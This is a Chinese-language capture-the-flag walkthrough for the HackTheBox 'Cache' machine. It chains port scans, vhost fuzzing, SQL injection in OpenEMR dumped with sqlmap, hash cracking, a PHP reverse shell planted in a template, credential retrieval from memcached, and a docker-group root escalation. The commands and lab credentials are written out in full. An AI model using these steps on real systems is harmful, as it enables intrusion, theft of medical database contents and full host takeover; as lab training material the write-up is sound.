HackTheBox >_ Cache_188
Cache_188
sudo masscan 10.10.10.188 --rate=1000 -p1-65535 -e tun0
sudo nmap -O -A -Pn -T4 -v -p22,80 10.10.10.188
sudo nmap -T4 -v -Pn --script=vuln -p22,80 10.10.10.188
debug直接在引用的js中发现了明文凭证
ash:H@v3_fun
使用凭证成功登录
但是没什么有用信息
继续查看其他页面。Author页面提供给我们一些线索
域名cache.htb
加入hosts
另外提供给我们他们的一个项目HMS(Hospital Management System)
搜索了一下
存在漏洞利用,所以应该有这个页面。重新搜集关键词组成字典
cewl http://cache.htb/ -w wordlist.txt -d 10 -m 1
并没有枚举出更多的目录
参考到说HMS是另外的一个项目,所以HMS应该和cache.htb并不是同一个域名,而应该是独立的另外一个站点。参考htb一贯的规律,应该是hms.htb
,但是还是FUZZ一下,演示正确做法
wfuzz -w wordlist.txt -H "HOST: FUZZ.htb" -u http://10.10.10.188/
过滤8193
wfuzz -w wordlist.txt -H "HOST: FUZZ.htb" -u http://10.10.10.188/ --hh 8193
HMS.htb
加入hosts
重新浏览
查询漏洞利用
各个版本的漏洞很多,暂时还无法确定版本,whatweb和nikto也没有枚举出线索
先继续枚举目录,缩小范围。
没有进展。在google了一段时间后发现
根据视频演示,应该在/portal/add_edit_event_user.php
的一个参数eid
存在注入。
尝试验证。
先浏览http://hms.htb/portal/
点击注册
此时会弹出注册页面
忽略掉,直接在地址栏输入http://hms.htb/portal/add_edit_event_user.php?eid='
弹出数据库错误信息,验证成功。
bp抓包
复制内容存为文件,并将之前eid的参数值改为1,以方便sqlmap识别
sqlmap -r sql_pack.txt --dbs --batch
sqlmap -r sql_pack.txt -D openemr --batch --tables
sqlmap -r sql_pack.txt -D openemr -T users_secure --columns --batch
sqlmap -r sql_pack.txt -D openemr -T users_secure -C password,username --batch --dump
$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. | openemr_admin
解密hash
echo '$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.' > hash.txt
sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
openemr_admin:xxxxxx
使用凭证登录成功
在左侧下拉菜单中选择适合写入rshell的php,考虑到不影响其他功能,写入最后一个空白的php
将php rshell的内容存入
在1337端口设立监听
根据上面的上传文件路径,浏览http://hms.htb/sites/default/letter_templates/custom_pdf.php
成功在1337得到目标shell,利用之前得到的ash的凭证切换到ash
用户目录下得到user
在kali工作目录建立服务,将lse(https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh)上传到靶机`/tmp`文件夹,用以快速枚举。
./lse.sh -i -l 2
发现本地端口监听3306和11211,3306应该是数据库。11211一般是memcached
尝试利用memcached
可以通过telnet <端口(默认为11211)访问Memcache
telnet 127.0.0.1 11211
stats items
枚举所有项目
只有一个项目,dump项目1所有的键,stats cachedump 1 0
get user
读取user
键的值
同样,get passwd
读取passwd键的值
得到凭证
luffy:0n3_p1ec3
尝试ssh登录
同时发现luffy是docker组成员,可以直接gtfobins利用。
docker images
列出所有docker镜像
docker run -v /:/mnt --rm -it ubuntu chroot /mnt bash